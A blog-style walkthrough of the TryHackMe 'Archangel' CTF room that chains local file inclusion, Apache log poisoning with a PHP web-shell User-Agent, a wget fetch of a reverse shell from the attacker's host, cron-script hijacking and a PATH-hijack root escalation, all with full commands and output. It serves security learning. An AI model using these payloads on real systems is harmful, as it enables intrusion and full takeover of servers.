Photo by Zoltan Tasi / Unsplash

Despite being marked with a difficulty level of easy, this TryHackMe CTF room involved quite a few different techniques.  There was local file inclusion, log file poisoning, horizontal and vertical privilege escalation.

This room also had a number of flags and answers to find, over and above just gaining privileges on the machine.  Task 1 was just about connecting to the VPN and accessing the machine.

Task 2 had questions which helped guide towards the correct exploitation path.

Task 2 Question - Get A Shell

And finally Task 3 was about proving you had the access and could escalate your privileges horizontally and vertically until you had root access.

Task 3 Questions - Privilege Escalation

Gaining a Foot Hold

Port Scanning

──(gareth㉿SRF239-L)-[~/Desktop/Files/Archangel]
└─$ nmap -p- -sV -sC -oN archangel.nmap 10.10.151.155
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 23:53 CET
Nmap scan report for 10.10.151.155
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

With only port 80 and 22 open it was clear to me this CTF was going to invovle some kind of web-based exploit in order to gain access.

Task 2 - Question 1

I opened the website in the browser and noticed an email link at the top which was using the url mafialive.thm.  I updated my /etc/hosts file to make the domain point to the ip address of the box.

Task 2 - Question 2

By opening the website using the hostname, I was able to gain the first flag.

Straight forward first flag

Directory Scan

I ran a gobuster scan for the most commonly found directory/files names, using the hostname rather than the ip address as the url parameter.  It returned the following interesting results.

┌──(gareth㉿SRF239-L)-[~/Desktop/Files/Archangel]
└─$ gobuster dir -u http://mafialive.thm -w /usr/share/wordlists/dirb/common.txt -x "php"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://mafialive.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2021/02/19 00:03:56 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/test.php (Status: 200)
===============================================================
2021/02/19 00:04:35 Finished
===============================================================

Task 2 - Question 3

The gobuster scan above returned a page which was under development, test.php.

Task 2 - Question 4

From the url in the address bar it was obvious that there was some kind of local file inclusion going on here.  The file mrrobot.php was being included and executed inside test.php.

I then attempted to traverse the directory structure to see if I could load the /etc/passwd file, by changing the value of the view variable to ../../../../../../../../../etc/passwd but this resulted in a message saying "Sorry, Thats not allowed".

In order to determine how best to circumvent this restriction, I thought it would be useful to see the code for the test.php file itself, and see how the input variable is being checked.

In order to see the contents of the file, rather than executing it in the browser, there's a technique you can use, to encode the contents of the file as base64, and then decode this outside of the application.  I entered the following url in the browser and got a long base64 string back.

http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg== 
Base64 encoded contents of test.php

Decoding this Base64 string reveals the code for test.php.

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{REDACTED}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>
Contents of test.php including the FLAG

Task 2 - Question 5

The code that sanitizes the View property is checking for the presence of the development_testing directory and also making sure it does not contain the string ../...  In order to get around this, we can use the present directory syntax ./ in between our parent directory traversals.  So we no longer chain multiple ../'s together.  This avoids the check and allows us to traverse up the directory tree.

Log Poisoning

I was able to find the apache access logs by traversing to the following URL, being careful to not chain two ../'s together.

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log

If I view the source code for the content that is returned (it is formatted better) I see the following:

Contents of access.log visible in the browser

What I can also see, is a string that I can change. My User-Agent.  I am able to edit the User-Agent value to anything I like before I send a request to the server.  Since I now have the ability to execute the contents of this file inside test.php, I can make my User-Agent into valid php code, and it will be executed by the server.

I set up burp suite as a proxy server, intercept a request to the website, and change it to the following

GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log HTTP/1.1
Host: mafialive.thm
User-Agent: <?php system($_GET['cmd']); ?> Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

I then load a URL in the address bar and append a new property, &cmd=id and observe the contents of the access.log file.

10.8.145.210 - - [23/Feb/2021:05:27:48 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log HTTP/1.1" 200 473 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.8.145.210 - - [23/Feb/2021:05:28:23 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log HTTP/1.1" 200 583 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.8.145.210 - - [23/Feb/2021:05:28:52 +0530] "GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=id HTTP/1.1" 200 601 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)
 Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
Results from the &cmd=id shows the result of this command

uid=33(www-data) gid=33(www-data) groups=33(www-data)

This line shows us that the command has been executed on the server.

Remote Code Execution

Given that the id command was executed on the server, I can see that I now have remote code execution on the server.  Time to get a reverse-shell connection.

I setup a webserver on my local machine, hosting my reverse-shell.php file on port 8000.  I then execute the following URL in the browser, to download my file.

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=wget http://10.8.145.210:8000/reverse-shell.php

Reverse Shell

This downloads the reverse-shell.php file to the server.  I then setup a local netcat listener on my machine on port 4444, and navigate to http://mafialive.thm/reverse-shell.php to get a reverse-shell on the server.

After stabilising my shell using python3, I navigate to the /home directory, find the only user home directory available and cat the user.txt file.

┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.145.210] from (UNKNOWN) [10.10.135.194] 38020
Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 05:36:03 up 9 min,  0 users,  load average: 0.00, 0.21, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

www-data@ubuntu:/home$ ls
archangel
www-data@ubuntu:/home$ cd archangel/
www-data@ubuntu:/home/archangel$ ls
myfiles  secret  user.txt
www-data@ubuntu:/home/archangel$ cat user.txt
thm{REDACTED}
www-data@ubuntu:/home/archangel$

Privilege Escalation

I currently have a shell as the www-data user, but there exists another user on the system, archangel which I need to be able to switch to in order to capture the remaining flags.

Task 3 - Question 1

After some enumeration using LinPeas.sh, I see that there is a cronjob being executed as the archangel user.

[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs                                                                             
-rw-r--r-- 1 root root  767 Nov 20 15:00 /etc/crontab                           
/etc/cron.d:                                                                                                         
total 24                                                                         SHELL=/bin/sh                 
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/1 *   * * *   archangel /opt/helloworld.sh

My www-data user has the ability to modify the contents of the /opt/helloworld.sh file.  I update the contents of this file to spawn another reverse-shell to my machine on a different port (4445).  Now I can navigate the system as the archangel user and capture the second flag.

┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.8.145.210] from (UNKNOWN) [10.10.135.194] 36712
bash: cannot set terminal process group (1012): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ ls -la
total 44
drwxr-xr-x 6 archangel archangel 4096 Nov 20 15:22 .
drwxr-xr-x 3 root      root      4096 Nov 18 13:06 ..
-rw-r--r-- 1 archangel archangel  220 Nov 18 00:48 .bash_logout
-rw-r--r-- 1 archangel archangel 3771 Nov 18 00:48 .bashrc
drwx------ 2 archangel archangel 4096 Nov 18 13:08 .cache
drwxrwxr-x 3 archangel archangel 4096 Nov 18 11:20 .local
drwxr-xr-x 2 archangel archangel 4096 Nov 18 01:36 myfiles
-rw-r--r-- 1 archangel archangel  807 Nov 18 00:48 .profile
drwxrwx--- 2 archangel archangel 4096 Nov 19 20:41 secret
-rw-rw-r-- 1 archangel archangel   66 Nov 18 11:20 .selected_editor
-rw-r--r-- 1 archangel archangel   26 Nov 19 19:57 user.txt
archangel@ubuntu:~$ cd secret
archangel@ubuntu:~/secret$ ls
backup  user2.txt
archangel@ubuntu:~/secret$ cat user2.txt
thm{REDACTED}
archangel@ubuntu:~/secret$
Found the user2.txt file in the secret directory

Task 3  - Question 2

The final flag requires root privileges so I start going through my usual manual enumeration, checking for any cronjobs, any binaries with the SUID bit set or any files with capabilities set.

My search for binaries with the SUID bit set reveals that the backup binary in the archangel users's home directory is one such file.

archangel@ubuntu:~/secret$ find /* -type f -perm -u=s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
/home/archangel/secret/backup
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
archangel@ubuntu:~/secret$

I decide to run strings on the backup binary, to see any human-readable characters contained within it.

/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
cp /home/user/archangel/myfiles/* /opt/backupfiles
:*3$"
GCC: (Ubuntu 10.2.0-13ubuntu1) 10.2.0
/usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
:

I notice that the backup binary is calling the cp binary to copy some files.  Crucially this binary is not being referenced using an absolute path.  This means we can create our own version of the cp binary, and put it on the server's PATH variable and then linux will find and execute our version of cp instead of the intended one.

archangel@ubuntu:~/secret$ touch cp
archangel@ubuntu:~/secret$ nano cp
archangel@ubuntu:~/secret$ cat cp
#!/bin/bash
/bin/bash
archangel@ubuntu:~/secret$ chmod +x cp
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# cat /root/root.txt
thm{REDACTED}
root@ubuntu:~/secret#

Summary

I enjoyed this box a lot. Even though the questions kind of helped to guide the exploitation method, there was still a lot of techniques involved in finding the flags and achieving the horizontal and vertical privilege escalation.

I didn't have much experience with local file inclusion or log poisoning, so it was good to brush up on my skills with that.  It can be a frustrating exploit because if you make any syntax errors in your user-agent then you have to restart the machine and try again.  Being meticulous and careful is the name of the game when doing this kind of exploit.